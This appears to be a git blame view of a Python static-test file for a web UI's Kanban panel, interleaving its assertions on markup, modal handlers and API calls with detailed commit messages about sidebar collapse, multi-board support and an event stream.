2026-05-04 20:03:49 +00:00
|
|
|
from pathlib import Path
|
|
|
|
|
import re
|
|
|
|
|
|
|
|
|
|
ROOT = Path(__file__).resolve().parents[1]
|
|
|
|
|
INDEX = (ROOT / "static" / "index.html").read_text(encoding="utf-8")
|
|
|
|
|
PANELS = (ROOT / "static" / "panels.js").read_text(encoding="utf-8")
|
|
|
|
|
STYLE = (ROOT / "static" / "style.css").read_text(encoding="utf-8")
|
|
|
|
|
I18N = (ROOT / "static" / "i18n.js").read_text(encoding="utf-8")
|
|
|
|
|
COMPACT_INDEX = re.sub(r"\s+", "", INDEX)
|
|
|
|
|
COMPACT_PANELS = re.sub(r"\s+", "", PANELS)
|
|
|
|
|
COMPACT_STYLE = re.sub(r"\s+", "", STYLE)
|
|
|
|
|
|
|
|
|
|
|
2026-05-10 07:48:18 +00:00
|
|
|
def _locale_blocks_with_body(i18n_text: str):
|
|
|
|
|
locale_blocks = re.findall(
|
|
|
|
|
r"\n\s*(?:'(?P<quoted>[a-z]{2}(?:-[A-Z][A-Za-z]+)?)'|(?P<plain>[a-z]{2}(?:-[A-Z]{2})?))\s*:\s*\{(.*?)\n\s*\},",
|
|
|
|
|
i18n_text,
|
|
|
|
|
flags=re.S,
|
|
|
|
|
)
|
|
|
|
|
return [(quoted or plain, body) for quoted, plain, body in locale_blocks]
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 20:03:49 +00:00
|
|
|
def test_kanban_has_native_sidebar_rail_and_mobile_tab():
|
|
|
|
|
assert 'data-panel="kanban"' in INDEX
|
|
|
|
|
assert 'data-i18n-title="tab_kanban"' in INDEX
|
feat(ux): collapse sidebar by clicking the active rail icon (fuses #1884 + #1924)
Lets desktop users collapse the session-list sidebar to maximise the chat
area, without adding any visible UI affordance. Default appearance is
identical to master — only users who actively try to toggle (or know the
keyboard shortcut) ever see a difference.
## Behaviour (desktop only, ≥641px)
| State | Action | Result |
|------------------------------------|-----------------------|-----------------------------------------|
| Sidebar open, click active rail | Toggle | Sidebar collapses to width:0 |
| Sidebar open, click different rail | Normal switch | **Sidebar stays open** (no surprise) |
| Sidebar collapsed, click any rail | Expand + switch | Sidebar expands, then panel switches |
| Anywhere, Cmd/Ctrl+B | Toggle | Same as same-active-rail click |
| Mobile (<641px), any of the above | No-op | Mobile overlay behaviour unchanged |
Two discoverability paths, both opt-in. **No new visible buttons.** Users
who never click the active rail icon see zero UI change vs. master.
## Surface-minimal design
The behaviour is contained behind one extra arg on the rail/sidebar-nav
onclick: `switchPanel('chat',{fromRailClick:true})`. Without that flag the
function preserves master's behaviour exactly — every programmatic
`switchPanel(name)` callsite (commands, deeplinks, internal state changes)
is unaffected. The guard chain inside `switchPanel`:
opts.fromRailClick && _isDesktopWidth() && (
_isSidebarCollapsed() ? expandSidebar() :
prevPanel === nextPanel ? (toggleSidebar(true); return false))
is the ONLY new code path that can cause a collapse. Cross-panel clicks
fall through to the existing switch logic untouched.
## Polish from both source PRs
- **Click-active gesture** as the primary toggle (#1884 @jasonjcwu — the
genuine UX innovation; no extra button needed)
- **Cmd/Ctrl+B keyboard shortcut** (#1924 @spektro33; VS Code convention).
Guarded against firing when typing in INPUT / TEXTAREA / contenteditable
so the shortcut never steals from in-progress text editing.
- **Inline flash-prevention `<script>`** in `<head>` (#1924) sets
`data-sidebar-collapsed='1'` on `<html>` BEFORE the stylesheet loads,
so cold loads with a persisted-collapsed state paint correctly from
frame 0 with no flicker. Cleared by JS once the class system takes over.
- **Smooth slide animation** via `.24s cubic-bezier(.22,1,.36,1)`
(#1924, mirrors the existing workspace-panel collapse on the right)
- **`aria-expanded` mirrored** on the active rail button (#1884) so
screen readers announce open/collapsed transitions.
- **`body.resizing` transition-suppression** (#1884) keeps the drag-resize
cursor instant — no animation during a width-resize gesture.
- **bfcache `pageshow` re-sync** (#1884) — if another tab toggled the
sidebar while this page was frozen, bring it in line on restore.
## Drops vs. #1924
- No persistent rail "toggle sidebar" button (Nathan: keep the UI stealth)
- No close-X button in chat panel head (same reason)
- No i18n keys for the dropped buttons
## What did NOT change
- 22 rail/sidebar-nav `onclick` handlers gained the `{fromRailClick:true}`
arg — function-call shape, invisible to users
- 1 inline `<script>` in `<head>` (flash prevention) — invisible
- 5 lines of CSS — invisible unless someone collapses
That's the entire visible-UI delta. **23 ins / 22 del on `index.html`,
all string-replace.**
## Verification
- 5,151 pytest passing including a new 34-test structural suite covering
every contract (CSS rules, JS functions, fromRailClick guard, legacy
proxy forwarding, flash-prevention `<script>` ordering, mobile
exclusion via :not(.mobile-open) selector, aria-expanded sync).
- Live browser walkthrough at 1280px verified:
- Default boot state identical to master (sidebar open, width 300px)
- Click active rail → collapse (width 1, opacity 0, translateX -14px,
localStorage='1', aria-expanded=false). Panel unchanged.
- Click active rail again → expand back to width 300, aria=true
- Click DIFFERENT rail → normal switch, sidebar stays open (legacy-
preserving case, verified explicitly)
- Click rail while collapsed → expand + switch in one gesture
- Cmd+B toggles correctly
- Cmd+B inside `<textarea>` → suppressed (defaultPrevented=false)
- Reload with collapsed state persisted → restores without flash
- Mobile simulation (matchMedia returns false for min-width:641px):
same-active-rail click is no-op, Cmd+B is no-op, sidebar stays at 300px
Co-authored-by: jasonjcwu <jasonjcwu@users.noreply.github.com>
Co-authored-by: spektro33 <spektro33@users.noreply.github.com>
Closes #1884
Closes #1924
2026-05-11 04:49:18 +00:00
|
|
|
# Allow either the legacy `switchPanel('kanban')` form or the rail-click-aware
|
|
|
|
|
# `switchPanel('kanban',{fromRailClick:true})` form. The sidebar-collapse PR
|
|
|
|
|
# added the second-arg opts to all rail buttons so the same-active-icon click
|
|
|
|
|
# can toggle the sidebar; legacy callsites elsewhere may still use the bare form.
|
|
|
|
|
assert ('onclick="switchPanel(\'kanban\')"' in INDEX
|
|
|
|
|
or "onclick=\"switchPanel('kanban',{fromRailClick:true})\"" in INDEX), \
|
|
|
|
|
"kanban rail/mobile button must call switchPanel('kanban') (with or without fromRailClick opts)"
|
2026-05-04 20:03:49 +00:00
|
|
|
assert 'data-label="Kanban"' in INDEX
|
|
|
|
|
kanban_section = INDEX[INDEX.find('id="mainKanban"'):INDEX.find('id="mainWorkspaces"')]
|
|
|
|
|
assert "<iframe" not in kanban_section.lower()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_has_sidebar_panel_and_main_board_mounts():
|
|
|
|
|
assert '<div class="panel-view" id="panelKanban">' in INDEX
|
|
|
|
|
assert 'id="kanbanSearch"' in INDEX
|
|
|
|
|
assert 'id="kanbanAssigneeFilter"' in INDEX
|
|
|
|
|
assert 'id="kanbanTenantFilter"' in INDEX
|
|
|
|
|
assert 'id="kanbanIncludeArchived"' in INDEX
|
|
|
|
|
assert 'id="kanbanList"' in INDEX
|
|
|
|
|
assert '<div id="mainKanban" class="main-view">' in INDEX
|
|
|
|
|
assert 'id="kanbanBoard"' in INDEX
|
|
|
|
|
assert 'id="kanbanTaskPreview"' in INDEX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_switch_panel_lazy_loads_kanban_and_toggles_main_view():
|
2026-06-22 08:10:42 +00:00
|
|
|
main_view_panels = re.search(r"const MAIN_VIEW_PANELS = \[([^\]]+)\];", PANELS)
|
|
|
|
|
assert main_view_panels, "MAIN_VIEW_PANELS should define main-view panels"
|
|
|
|
|
assert "'kanban'" in main_view_panels.group(1)
|
|
|
|
|
assert "MAIN_VIEW_PANELS.forEach(p => {" in PANELS
|
|
|
|
|
assert "mainEl.classList.toggle('showing-' + p, nextPanel === p);" in PANELS
|
2026-05-04 20:03:49 +00:00
|
|
|
assert "if (nextPanel === 'kanban') await loadKanban();" in PANELS
|
|
|
|
|
assert "if (_currentPanel === 'kanban') await loadKanban();" in PANELS
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 21:06:37 +00:00
|
|
|
def test_kanban_frontend_uses_relative_api_endpoints():
|
2026-05-04 20:03:49 +00:00
|
|
|
assert "'/api/kanban/board" in PANELS
|
|
|
|
|
assert "api('/api/kanban/tasks/" in PANELS
|
|
|
|
|
assert "api('/api/kanban/config" in PANELS
|
|
|
|
|
assert "fetch('/api/kanban" not in PANELS
|
|
|
|
|
assert "kanbanTaskPreview" in PANELS
|
|
|
|
|
assert "classList.add('selected')" in PANELS
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 20:21:58 +00:00
|
|
|
def test_kanban_task_detail_renders_read_only_sections():
|
|
|
|
|
assert "function _kanbanRenderTaskDetail" in PANELS
|
|
|
|
|
for payload_key in ("data.comments", "data.events", "data.links", "data.runs"):
|
|
|
|
|
assert payload_key in PANELS
|
|
|
|
|
for section_class in (
|
|
|
|
|
"kanban-detail-section",
|
|
|
|
|
"kanban-detail-comments",
|
|
|
|
|
"kanban-detail-events",
|
|
|
|
|
"kanban-detail-links",
|
|
|
|
|
"kanban-detail-runs",
|
|
|
|
|
):
|
|
|
|
|
assert section_class in PANELS
|
|
|
|
|
assert "method: 'POST'" not in PANELS[PANELS.find("async function loadKanbanTask"):PANELS.find("function loadTodos")]
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 21:06:37 +00:00
|
|
|
|
|
|
|
|
def test_kanban_write_mvp_has_native_controls_and_api_calls():
|
|
|
|
|
assert 'id="kanbanNewTaskBtn"' in INDEX
|
|
|
|
|
assert "async function createKanbanTask" in PANELS
|
|
|
|
|
assert "async function updateKanbanTask" in PANELS
|
|
|
|
|
assert "async function addKanbanComment" in PANELS
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
# The exact tail varies because the multi-board PR appends
|
|
|
|
|
# _kanbanBoardQuery() to most kanban API URLs. Match with looser
|
|
|
|
|
# substring assertions that survive that suffix.
|
|
|
|
|
assert "api('/api/kanban/tasks'" in PANELS
|
2026-05-04 21:06:37 +00:00
|
|
|
assert "method: 'POST'" in PANELS
|
2026-05-04 22:43:05 +00:00
|
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId)" in PANELS
|
|
|
|
|
assert "method: 'PATCH'" in PANELS
|
2026-05-04 21:06:37 +00:00
|
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/comments'" in PANELS
|
|
|
|
|
assert "kanban-status-actions" in PANELS
|
|
|
|
|
assert "kanban-comment-form" in PANELS
|
|
|
|
|
|
|
|
|
|
|
fix(kanban): header '+' button opens create-task modal
The Kanban sidebar panel's header '+' button (#kanbanNewTaskBtn) was
wired straight to createKanbanTask(), which reads the inline
#kanbanNewTaskTitle input and silently returns when empty. The inline
input lives below five rows of filters (search, assignee, tenant,
archived/mine toggles, stats, bulk-action bar) and is typically off-screen
on first panel open, so the header button looked dead — clicking it with
no title typed did nothing visible (no modal, no scroll, no focus shift,
no toast).
Now the header '+' opens #kanbanTaskModal — a centered overlay with the
same .kanban-modal-overlay shell the existing create-board modal uses,
so the two flows look and behave identically (centered card, dim
backdrop, ESC closes, click-on-backdrop closes). The modal exposes the
fields the backend already accepts at /api/kanban/tasks: Title, Description,
Status (Triage/Todo/Ready), Priority, Assignee (datalist suggestions from
the active board), Tenant (datalist).
UX details:
- Title is required; submit-with-empty shows a properly styled red error
- Title field auto-focuses on open
- ESC closes the modal; backdrop click closes; Enter on simple inputs
submits, Enter in the description textarea inserts a newline
- Submit POSTs only the fields the user filled in (no forced empty strings)
and auto-opens the new task's detail view
- Submit button disables while posting to prevent double-submit
- Inline quick-add (Enter on #kanbanNewTaskTitle) is preserved as a
power-user shortcut
Side effect: .kanban-modal-error styling improved (proper red alert with
border + tinted background) so the existing create-board modal benefits
from the same polish for free.
i18n: 11 new keys added across all 8 supported locales (en, ja, ru, es,
de, zh, pt, ko).
Tests: tests/test_kanban_ui_static.py::test_kanban_new_task_header_button_opens_modal
covers the modal markup, button wiring, ESC/Enter handling, datalist
population, submit behavior, and inline-quick-add fallthrough.
Verified end-to-end in the browser on an isolated test env (port 8789):
created a board from scratch, opened the modal via header '+',
submitted with title/description/status/priority/assignee/tenant filled in,
moved the task through statuses (Triage → Todo → Ready → Blocked → Archived),
added a comment, verified Cancel + ESC + backdrop-click all close cleanly,
verified validation error rendering, verified inline quick-add still works.
Closes #1964
2026-05-09 18:40:48 +00:00
|
|
|
def test_kanban_new_task_header_button_opens_modal():
|
|
|
|
|
"""Regression: the panel-head '+' button must open a real `.kanban-modal-overlay`
|
|
|
|
|
create-task modal (matching the existing create-board modal pattern in the same
|
|
|
|
|
file) — NOT silently return when the inline #kanbanNewTaskTitle input is empty.
|
|
|
|
|
|
|
|
|
|
Previously the header button was wired straight to createKanbanTask(), which
|
|
|
|
|
silently early-exits on empty title — the button looked completely dead.
|
|
|
|
|
Now the header button calls openKanbanCreate(), which opens the
|
|
|
|
|
#kanbanTaskModal overlay with title / description / status / priority /
|
|
|
|
|
assignee / tenant fields.
|
|
|
|
|
"""
|
|
|
|
|
# 1. Header "+" button is wired to openKanbanCreate(), NOT createKanbanTask().
|
|
|
|
|
assert 'id="kanbanNewTaskBtn"' in INDEX
|
|
|
|
|
btn_html = INDEX[INDEX.find('id="kanbanNewTaskBtn"'):]
|
|
|
|
|
btn_html = btn_html[: btn_html.find("</button>") + len("</button>")]
|
|
|
|
|
assert 'onclick="openKanbanCreate()"' in btn_html, (
|
|
|
|
|
"Panel-head '+' button must call openKanbanCreate() (modal), not "
|
|
|
|
|
"createKanbanTask() directly (which silently returns on empty title)."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# 2. The create-task modal markup exists in index.html, with all the field
|
|
|
|
|
# ids the JS / API contract expects.
|
|
|
|
|
assert 'id="kanbanTaskModal"' in INDEX
|
|
|
|
|
assert 'class="kanban-modal-overlay"' in INDEX[INDEX.find('id="kanbanTaskModal"') - 80:]
|
|
|
|
|
for field_id in (
|
|
|
|
|
"kanbanTaskModalTitleInput",
|
|
|
|
|
"kanbanTaskModalBody",
|
|
|
|
|
"kanbanTaskModalStatus",
|
|
|
|
|
"kanbanTaskModalPriority",
|
|
|
|
|
"kanbanTaskModalAssignee",
|
|
|
|
|
"kanbanTaskModalTenant",
|
|
|
|
|
"kanbanTaskModalError",
|
|
|
|
|
"kanbanTaskModalSubmit",
|
|
|
|
|
):
|
|
|
|
|
assert f'id="{field_id}"' in INDEX, f"create-task modal missing #{field_id}"
|
|
|
|
|
|
|
|
|
|
# 3. Modal closes via Cancel button AND backdrop click AND ESC.
|
|
|
|
|
assert 'onclick="closeKanbanTaskModal()"' in INDEX
|
|
|
|
|
assert "if(event.target===this)closeKanbanTaskModal()" in INDEX
|
|
|
|
|
|
|
|
|
|
# 4. openKanbanCreate() unhides the modal, focuses the title field, populates
|
|
|
|
|
# assignee/tenant datalists, binds keydown listener.
|
|
|
|
|
assert "function openKanbanCreate()" in PANELS
|
|
|
|
|
open_fn = re.search(
|
|
|
|
|
r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert open_fn, "openKanbanCreate() not found"
|
|
|
|
|
body = open_fn.group(1)
|
|
|
|
|
assert "modal.hidden = false" in body
|
feat(kanban): edit task button, real Run dispatcher, assignee dropdown
Three connected gaps in the Kanban UX, fixed together because they're
load-bearing for the actual work-queue lifecycle:
1. Edit task — the detail view had only status-transition buttons (Triage/
Todo/Ready/Blocked/Done/Archived) plus Block/Unblock and Add comment.
No way to edit title, body, assignee, tenant, or priority once the task
was created. Backend already supported it via PATCH /api/kanban/tasks/<id>
(api/kanban_bridge.py::_patch_task) — purely a UI gap.
Now: an Edit button on the task-detail header opens the existing modal
pre-filled with current values, switches the modal title to 'Edit task'
and the submit button to 'Save', PATCHes instead of POSTing on submit.
2. Run dispatcher — the existing 'Preview dispatcher' button always passed
?dry_run=1 (nudgeKanbanDispatcher), so it was preview-only. There was
literally no UI button anywhere in the WebUI that actually ran the
dispatcher to claim Ready tasks and spawn workers. Users had to drop
to the CLI.
Now: new runKanbanDispatcher() entry point hits /api/kanban/dispatch
without dry_run=1, after a showConfirmDialog confirmation because it
spawns subprocess workers. Two UI surfaces: a lightning-bolt button in
the board header (visually distinct from the dry-run preview ▶), and
a primary 'Run dispatcher' button in the sidebar bulk bar next to a
relabeled 'Preview' button. Toast result shows concrete numbers from
dispatch_once(): 'Dispatched: 1 spawned, 2 skipped (no assignee)' —
not just a generic 'OK'.
3. Assignee dropdown — the previous create modal accepted free-text
assignee with no validation. The dispatcher (kanban_db.py:3567) only
spawns workers when row['assignee'] is a real Hermes profile name; any
typo or blank value made the task sit in Ready forever.
Now: <select> populated from /api/profiles (Hermes profile names) with
historical board assignees grouped under 'Other (CLI lanes / removed
profiles)', plus an explicit '— Unassigned (won't auto-run) —' option.
Default selection is the first profile, not Unassigned. Custom SVG
chevron so the field reads visually as a dropdown. Helper text under
the field explains the dispatcher claim contract. Soft warning if user
explicitly picks Unassigned + Ready ('You picked Unassigned + Ready.
The dispatcher will skip this task. Submit again to confirm, or pick
a profile.'); proceeds on second submit.
Side effect: default new-task status changed from triage to ready, since
'ready' is what users want for tasks they intend to actually run. Triage
is still in the dropdown for tasks that need staging review.
i18n: 19 new keys translated across all 8 supported locales.
Tests: 3 new regression tests in tests/test_kanban_ui_static.py:
- test_kanban_task_detail_has_edit_button_and_modal_supports_edit_mode
- test_kanban_assignee_dropdown_uses_select_not_freetext
- test_kanban_run_dispatcher_button_exists_and_is_distinct_from_preview
Verified end-to-end in browser: created board → opened modal with profile
dropdown → created task with assignee=archivist → clicked Edit → changed
all 5 fields → saved → verified persistence → clicked Run dispatcher →
confirm dialog → confirmed → toast 'Dispatched: 1 spawned' → task moved
Ready → Running.
Test suite: 5042 passed, 11 skipped, 3 xpassed, 0 regressions in 151s.
2026-05-09 20:48:28 +00:00
|
|
|
# Assignee is now a <select> populated from /api/profiles + board history,
|
|
|
|
|
# tenant is still a free-text <input> backed by a datalist.
|
|
|
|
|
assert "_kanbanPopulateAssigneeSelect" in body, (
|
|
|
|
|
"openKanbanCreate must populate the assignee <select> from /api/profiles."
|
|
|
|
|
)
|
|
|
|
|
assert "_kanbanPopulateTenantDatalist" in body
|
fix(kanban): header '+' button opens create-task modal
The Kanban sidebar panel's header '+' button (#kanbanNewTaskBtn) was
wired straight to createKanbanTask(), which reads the inline
#kanbanNewTaskTitle input and silently returns when empty. The inline
input lives below five rows of filters (search, assignee, tenant,
archived/mine toggles, stats, bulk-action bar) and is typically off-screen
on first panel open, so the header button looked dead — clicking it with
no title typed did nothing visible (no modal, no scroll, no focus shift,
no toast).
Now the header '+' opens #kanbanTaskModal — a centered overlay with the
same .kanban-modal-overlay shell the existing create-board modal uses,
so the two flows look and behave identically (centered card, dim
backdrop, ESC closes, click-on-backdrop closes). The modal exposes the
fields the backend already accepts at /api/kanban/tasks: Title, Description,
Status (Triage/Todo/Ready), Priority, Assignee (datalist suggestions from
the active board), Tenant (datalist).
UX details:
- Title is required; submit-with-empty shows a properly styled red error
- Title field auto-focuses on open
- ESC closes the modal; backdrop click closes; Enter on simple inputs
submits, Enter in the description textarea inserts a newline
- Submit POSTs only the fields the user filled in (no forced empty strings)
and auto-opens the new task's detail view
- Submit button disables while posting to prevent double-submit
- Inline quick-add (Enter on #kanbanNewTaskTitle) is preserved as a
power-user shortcut
Side effect: .kanban-modal-error styling improved (proper red alert with
border + tinted background) so the existing create-board modal benefits
from the same polish for free.
i18n: 11 new keys added across all 8 supported locales (en, ja, ru, es,
de, zh, pt, ko).
Tests: tests/test_kanban_ui_static.py::test_kanban_new_task_header_button_opens_modal
covers the modal markup, button wiring, ESC/Enter handling, datalist
population, submit behavior, and inline-quick-add fallthrough.
Verified end-to-end in the browser on an isolated test env (port 8789):
created a board from scratch, opened the modal via header '+',
submitted with title/description/status/priority/assignee/tenant filled in,
moved the task through statuses (Triage → Todo → Ready → Blocked → Archived),
added a comment, verified Cancel + ESC + backdrop-click all close cleanly,
verified validation error rendering, verified inline quick-add still works.
Closes #1964
2026-05-09 18:40:48 +00:00
|
|
|
assert "_kanbanTaskModalKey" in body # ESC + Enter handler attached
|
|
|
|
|
|
|
|
|
|
# 5. closeKanbanTaskModal() hides the modal and unbinds the listener.
|
|
|
|
|
assert "function closeKanbanTaskModal()" in PANELS
|
|
|
|
|
close_fn = re.search(
|
|
|
|
|
r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert close_fn and "modal.hidden = true" in close_fn.group(1)
|
|
|
|
|
assert "removeEventListener('keydown', _kanbanTaskModalKey)" in close_fn.group(1)
|
|
|
|
|
|
|
|
|
|
# 6. ESC closes; Enter submits (except in the description textarea).
|
|
|
|
|
assert "function _kanbanTaskModalKey" in PANELS
|
|
|
|
|
key_fn = re.search(
|
|
|
|
|
r"function _kanbanTaskModalKey\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert key_fn
|
|
|
|
|
key_body = key_fn.group(1)
|
|
|
|
|
assert "ev.key === 'Escape'" in key_body
|
|
|
|
|
assert "ev.key === 'Enter'" in key_body
|
|
|
|
|
assert "TEXTAREA" in key_body # textarea exception preserved
|
|
|
|
|
|
|
|
|
|
# 7. submitKanbanTaskModal() POSTs to /api/kanban/tasks, closes modal,
|
|
|
|
|
# reloads board, opens detail.
|
|
|
|
|
assert "async function submitKanbanTaskModal()" in PANELS
|
|
|
|
|
submit_fn = re.search(
|
|
|
|
|
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert submit_fn, "submitKanbanTaskModal() not found"
|
|
|
|
|
submit_body = submit_fn.group(1)
|
|
|
|
|
assert "api('/api/kanban/tasks'" in submit_body
|
|
|
|
|
assert "method: 'POST'" in submit_body
|
|
|
|
|
assert "JSON.stringify(payload)" in submit_body
|
|
|
|
|
assert "closeKanbanTaskModal()" in submit_body
|
|
|
|
|
assert "loadKanban(true)" in submit_body
|
|
|
|
|
assert "loadKanbanTask" in submit_body
|
|
|
|
|
|
|
|
|
|
# 8. Inline quick-add still works for power-users — typing a title + Enter
|
|
|
|
|
# creates immediately. Empty submit falls through to the modal.
|
|
|
|
|
assert "async function createKanbanTask()" in PANELS
|
|
|
|
|
quick_add = re.search(
|
|
|
|
|
r"async function createKanbanTask\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert quick_add
|
|
|
|
|
qa_body = quick_add.group(1)
|
|
|
|
|
assert "openKanbanCreate()" in qa_body, (
|
|
|
|
|
"Empty inline-input submit must open the modal, not silently return."
|
|
|
|
|
)
|
|
|
|
|
assert "api('/api/kanban/tasks'" in qa_body
|
|
|
|
|
|
|
|
|
|
|
feat(kanban): edit task button, real Run dispatcher, assignee dropdown
Three connected gaps in the Kanban UX, fixed together because they're
load-bearing for the actual work-queue lifecycle:
1. Edit task — the detail view had only status-transition buttons (Triage/
Todo/Ready/Blocked/Done/Archived) plus Block/Unblock and Add comment.
No way to edit title, body, assignee, tenant, or priority once the task
was created. Backend already supported it via PATCH /api/kanban/tasks/<id>
(api/kanban_bridge.py::_patch_task) — purely a UI gap.
Now: an Edit button on the task-detail header opens the existing modal
pre-filled with current values, switches the modal title to 'Edit task'
and the submit button to 'Save', PATCHes instead of POSTing on submit.
2. Run dispatcher — the existing 'Preview dispatcher' button always passed
?dry_run=1 (nudgeKanbanDispatcher), so it was preview-only. There was
literally no UI button anywhere in the WebUI that actually ran the
dispatcher to claim Ready tasks and spawn workers. Users had to drop
to the CLI.
Now: new runKanbanDispatcher() entry point hits /api/kanban/dispatch
without dry_run=1, after a showConfirmDialog confirmation because it
spawns subprocess workers. Two UI surfaces: a lightning-bolt button in
the board header (visually distinct from the dry-run preview ▶), and
a primary 'Run dispatcher' button in the sidebar bulk bar next to a
relabeled 'Preview' button. Toast result shows concrete numbers from
dispatch_once(): 'Dispatched: 1 spawned, 2 skipped (no assignee)' —
not just a generic 'OK'.
3. Assignee dropdown — the previous create modal accepted free-text
assignee with no validation. The dispatcher (kanban_db.py:3567) only
spawns workers when row['assignee'] is a real Hermes profile name; any
typo or blank value made the task sit in Ready forever.
Now: <select> populated from /api/profiles (Hermes profile names) with
historical board assignees grouped under 'Other (CLI lanes / removed
profiles)', plus an explicit '— Unassigned (won't auto-run) —' option.
Default selection is the first profile, not Unassigned. Custom SVG
chevron so the field reads visually as a dropdown. Helper text under
the field explains the dispatcher claim contract. Soft warning if user
explicitly picks Unassigned + Ready ('You picked Unassigned + Ready.
The dispatcher will skip this task. Submit again to confirm, or pick
a profile.'); proceeds on second submit.
Side effect: default new-task status changed from triage to ready, since
'ready' is what users want for tasks they intend to actually run. Triage
is still in the dropdown for tasks that need staging review.
i18n: 19 new keys translated across all 8 supported locales.
Tests: 3 new regression tests in tests/test_kanban_ui_static.py:
- test_kanban_task_detail_has_edit_button_and_modal_supports_edit_mode
- test_kanban_assignee_dropdown_uses_select_not_freetext
- test_kanban_run_dispatcher_button_exists_and_is_distinct_from_preview
Verified end-to-end in browser: created board → opened modal with profile
dropdown → created task with assignee=archivist → clicked Edit → changed
all 5 fields → saved → verified persistence → clicked Run dispatcher →
confirm dialog → confirmed → toast 'Dispatched: 1 spawned' → task moved
Ready → Running.
Test suite: 5042 passed, 11 skipped, 3 xpassed, 0 regressions in 151s.
2026-05-09 20:48:28 +00:00
|
|
|
def test_kanban_task_detail_has_edit_button_and_modal_supports_edit_mode():
|
|
|
|
|
